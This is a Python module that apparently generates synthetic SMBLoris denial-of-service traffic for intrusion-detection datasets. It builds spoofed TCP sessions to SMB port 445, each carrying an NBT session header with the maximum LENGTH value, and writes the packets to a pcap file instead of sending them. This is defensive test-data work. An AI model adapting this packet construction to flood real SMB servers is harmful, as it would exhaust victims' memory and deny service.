SMBLorisAttack.py 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280
  1. import logging
  2. import csv
  3. from random import shuffle, randint, choice, uniform
  4. from lea import Lea
  5. from Attack import BaseAttack
  6. from Attack.AttackParameters import Parameter as Param
  7. from Attack.AttackParameters import ParameterTypes
  8. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  9. # noinspection PyPep8
  10. from scapy.layers.inet import IP, Ether, TCP
  11. from scapy.layers.netbios import NBTSession
  12. # Resources:
  13. # https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/smb/smb_loris.rb
  14. # https://samsclass.info/124/proj14/smbl.htm
  15. # https://gist.githubusercontent.com/marcan/6a2d14b0e3eaa5de1795a763fb58641e/raw/565befecf4d9a4a27248d027a90b6e3e5994b5b6/smbloris.c
  16. # http://smbloris.com/
  17. class SMBLorisAttack(BaseAttack.BaseAttack):
  18. # SMB port
  19. smb_port = 445
  20. def __init__(self):
  21. """
  22. Creates a new instance of the SMBLorisAttack.
  23. """
  24. # Initialize attack
  25. super(SMBLorisAttack, self).__init__("SMBLoris Attack", "Injects an SMBLoris DoS Attack",
  26. "Resource Exhaustion")
  27. # Define allowed parameters and their type
  28. self.supported_params = {
  29. Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS,
  30. Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS,
  31. Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS,
  32. Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS,
  33. Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
  34. Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
  35. Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT,
  36. Param.ATTACK_DURATION: ParameterTypes.TYPE_INTEGER_POSITIVE,
  37. Param.NUMBER_ATTACKERS: ParameterTypes.TYPE_INTEGER_POSITIVE
  38. }
  39. def init_params(self):
  40. """
  41. Initialize the parameters of this attack using the user supplied command line parameters.
  42. Use the provided statistics to calculate default parameters and to process user
  43. supplied queries.
  44. :param statistics: Reference to a statistics object.
  45. """
  46. # PARAMETERS: initialize with default values
  47. # (values are overwritten if user specifies them)
  48. most_used_ip_address = self.statistics.get_most_used_ip_address()
  49. if isinstance(most_used_ip_address, list):
  50. most_used_ip_address = most_used_ip_address[0]
  51. # The most used IP class in background traffic
  52. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  53. num_attackers = randint(1, 16)
  54. source_ip = self.generate_random_ipv4_address(most_used_ip_class, num_attackers)
  55. self.add_param_value(Param.IP_SOURCE, source_ip)
  56. self.add_param_value(Param.MAC_SOURCE, self.generate_random_mac_address(num_attackers))
  57. random_ip_address = self.statistics.get_random_ip_address()
  58. # ip-dst should be valid and not equal to ip.src
  59. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == source_ip:
  60. random_ip_address = self.statistics.get_random_ip_address()
  61. self.add_param_value(Param.IP_DESTINATION, random_ip_address)
  62. destination_mac = self.statistics.get_mac_address(random_ip_address)
  63. if isinstance(destination_mac, list) and len(destination_mac) == 0:
  64. destination_mac = self.generate_random_mac_address()
  65. self.add_param_value(Param.MAC_DESTINATION, destination_mac)
  66. self.add_param_value(Param.PACKETS_PER_SECOND,
  67. (self.statistics.get_pps_sent(most_used_ip_address) +
  68. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  69. self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
  70. self.add_param_value(Param.ATTACK_DURATION, 30)
  71. def generate_attack_pcap(self):
  72. def update_timestamp(timestamp, pps, delay=0):
  73. """
  74. Calculates the next timestamp to be used based on the packet per second rate (pps) and the maximum delay.
  75. :return: Timestamp to be used for the next packet.
  76. """
  77. if delay == 0:
  78. # Calculate request timestamp
  79. # To imitate the bursty behavior of traffic
  80. randomdelay = Lea.fromValFreqsDict({1 / pps: 70, 2 / pps: 20, 5 / pps: 7, 10 / pps: 3})
  81. return timestamp + uniform(1/pps , randomdelay.random())
  82. else:
  83. # Calculate reply timestamp
  84. randomdelay = Lea.fromValFreqsDict({2*delay: 70, 3*delay: 20, 5*delay: 7, 10*delay: 3})
  85. return timestamp + uniform(1 / pps + delay, 1 / pps + randomdelay.random())
  86. def getIntervalPPS(complement_interval_pps, timestamp):
  87. """
  88. Gets the packet rate (pps) for a specific time interval.
  89. :param complement_interval_pps: an array of tuples (the last timestamp in the interval, the packet rate in the crresponding interval).
  90. :param timestamp: the timestamp at which the packet rate is required.
  91. :return: the corresponding packet rate (pps) .
  92. """
  93. for row in complement_interval_pps:
  94. if timestamp<=row[0]:
  95. return row[1]
  96. return complement_interval_pps[-1][1] # in case the timstamp > capture max timestamp
  97. def getIpData(ip_address: str):
  98. """
  99. :param ip_address: the ip of which (packet-)data shall be returned
  100. :return: MSS, TTL and Window Size values of the given IP
  101. """
  102. # Set MSS (Maximum Segment Size) based on MSS distribution of IP address
  103. mss_dist = self.statistics.get_mss_distribution(ip_address)
  104. if len(mss_dist) > 0:
  105. mss_prob_dict = Lea.fromValFreqsDict(mss_dist)
  106. mss_value = mss_prob_dict.random()
  107. else:
  108. mss_value = self.statistics.process_db_query("most_used(mssValue)")
  109. # Set TTL based on TTL distribution of IP address
  110. ttl_dist = self.statistics.get_ttl_distribution(ip_address)
  111. if len(ttl_dist) > 0:
  112. ttl_prob_dict = Lea.fromValFreqsDict(ttl_dist)
  113. ttl_value = ttl_prob_dict.random()
  114. else:
  115. ttl_value = self.statistics.process_db_query("most_used(ttlValue)")
  116. # Set Window Size based on Window Size distribution of IP address
  117. win_dist = self.statistics.get_win_distribution(ip_address)
  118. if len(win_dist) > 0:
  119. win_prob_dict = Lea.fromValFreqsDict(win_dist)
  120. win_value = win_prob_dict.random()
  121. else:
  122. win_value = self.statistics.process_db_query("most_used(winSize)")
  123. return mss_value, ttl_value, win_value
  124. pps = self.get_param_value(Param.PACKETS_PER_SECOND)
  125. # Timestamp
  126. first_timestamp = self.get_param_value(Param.INJECT_AT_TIMESTAMP)
  127. # store start time of attack
  128. self.attack_start_utime = first_timestamp
  129. # Initialize parameters
  130. packets = []
  131. ip_destination = self.get_param_value(Param.IP_DESTINATION)
  132. mac_destination = self.get_param_value(Param.MAC_DESTINATION)
  133. # Determine source IP and MAC address
  134. num_attackers = self.get_param_value(Param.NUMBER_ATTACKERS)
  135. if (num_attackers is not None) and (num_attackers is not 0): # user supplied Param.NUMBER_ATTACKERS
  136. # The most used IP class in background traffic
  137. most_used_ip_class = self.statistics.process_db_query("most_used(ipClass)")
  138. # Create random attackers based on user input Param.NUMBER_ATTACKERS
  139. ip_source = self.generate_random_ipv4_address(most_used_ip_class, num_attackers)
  140. mac_source = self.generate_random_mac_address(num_attackers)
  141. else: # user did not supply Param.NUMBER_ATTACKS
  142. # use default values for IP_SOURCE/MAC_SOURCE or overwritten values
  143. # if user supplied any values for those params
  144. ip_source = self.get_param_value(Param.IP_SOURCE)
  145. mac_source = self.get_param_value(Param.MAC_SOURCE)
  146. ip_source_list = []
  147. mac_source_list = []
  148. if isinstance(ip_source, list):
  149. ip_source_list = ip_source
  150. else:
  151. ip_source_list.append(ip_source)
  152. if isinstance(mac_source, list):
  153. mac_source_list = mac_source
  154. else:
  155. mac_source_list.append(mac_source)
  156. if (num_attackers is None) or (num_attackers is 0):
  157. num_attackers = min(len(ip_source_list), len(mac_source_list))
  158. # Check ip.src == ip.dst
  159. self.ip_src_dst_equal_check(ip_source_list, ip_destination)
  160. # Get MSS, TTL and Window size value for destination IP
  161. destination_mss_value, destination_ttl_value, destination_win_value = getIpData(ip_destination)
  162. minDelay,maxDelay = self.get_reply_delay(ip_destination)
  163. attack_duration = self.get_param_value(Param.ATTACK_DURATION)
  164. attack_ends_time = first_timestamp + attack_duration
  165. victim_pps = pps*num_attackers
  166. for attacker in range(num_attackers):
  167. # Get MSS, TTL and Window size value for source IP(attacker)
  168. source_mss_value, source_ttl_value, source_win_value = getIpData(ip_source_list[attacker])
  169. attacker_seq = randint(1000, 50000)
  170. victim_seq = randint(1000, 50000)
  171. sport = 1025
  172. # Timestamps of first packets shouldn't be exactly the same to look more realistic
  173. timestamp_next_pkt = uniform(first_timestamp, first_timestamp+0.010)
  174. while timestamp_next_pkt <= attack_ends_time:
  175. # Establish TCP connection
  176. if sport > 65535:
  177. sport = 1025
  178. # prepare reusable Ethernet- and IP-headers
  179. attacker_ether = Ether(src=mac_source_list[attacker], dst=mac_destination)
  180. attacker_ip = IP(src=ip_source_list[attacker], dst=ip_destination, ttl=source_ttl_value, flags='DF')
  181. victim_ether = Ether(src=mac_destination, dst=mac_source_list[attacker])
  182. victim_ip = IP(src=ip_destination, dst=ip_source_list[attacker], ttl=destination_ttl_value, flags='DF')
  183. # connection request from attacker (client)
  184. syn_tcp = TCP(sport=sport, dport=self.smb_port, window=source_win_value, flags='S',
  185. seq=attacker_seq, options=[('MSS', source_mss_value)])
  186. attacker_seq += 1
  187. syn = (attacker_ether / attacker_ip / syn_tcp)
  188. syn.time = timestamp_next_pkt
  189. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, victim_pps, minDelay)
  190. packets.append(syn)
  191. # response from victim (server)
  192. synack_tcp = TCP(sport=self.smb_port, dport=sport, seq=victim_seq, ack=attacker_seq, flags='SA',
  193. window=destination_win_value, options=[('MSS', destination_mss_value)])
  194. victim_seq += 1
  195. synack = (victim_ether / victim_ip / synack_tcp)
  196. synack.time = timestamp_next_pkt
  197. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  198. packets.append(synack)
  199. # acknowledgement from attacker (client)
  200. ack_tcp = TCP(sport=sport, dport=self.smb_port, seq=attacker_seq, ack=victim_seq, flags='A',
  201. window=source_win_value, options=[('MSS', source_mss_value)])
  202. ack = (attacker_ether / attacker_ip / ack_tcp)
  203. ack.time = timestamp_next_pkt
  204. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  205. packets.append(ack)
  206. # send NBT session header paket with maximum LENGTH-field
  207. req_tcp = TCP(sport=sport, dport=self.smb_port, seq=attacker_seq, ack=victim_seq, flags='AP',
  208. window=source_win_value, options=[('MSS', source_mss_value)])
  209. req_payload = NBTSession(TYPE=0x00, LENGTH=0x1FFFF)
  210. attacker_seq += len(req_payload)
  211. req = (attacker_ether / attacker_ip / req_tcp / req_payload)
  212. req.time = timestamp_next_pkt
  213. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, victim_pps, minDelay)
  214. packets.append(req)
  215. # final ack from victim (server)
  216. last_ack_tcp = TCP(sport=self.smb_port, dport=sport, seq=victim_seq, ack=attacker_seq, flags='A',
  217. window=destination_win_value, options=[('MSS', destination_mss_value)])
  218. last_ack = (victim_ether / victim_ip / last_ack_tcp)
  219. last_ack.time = timestamp_next_pkt
  220. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  221. packets.append(last_ack)
  222. sport += 1
  223. # store end time of attack
  224. self.attack_end_utime = packets[-1].time
  225. # write attack packets to pcap
  226. pcap_path = self.write_attack_pcap(sorted(packets, key=lambda pkt: pkt.time))
  227. # return packets sorted by packet time_sec_start
  228. return len(packets), pcap_path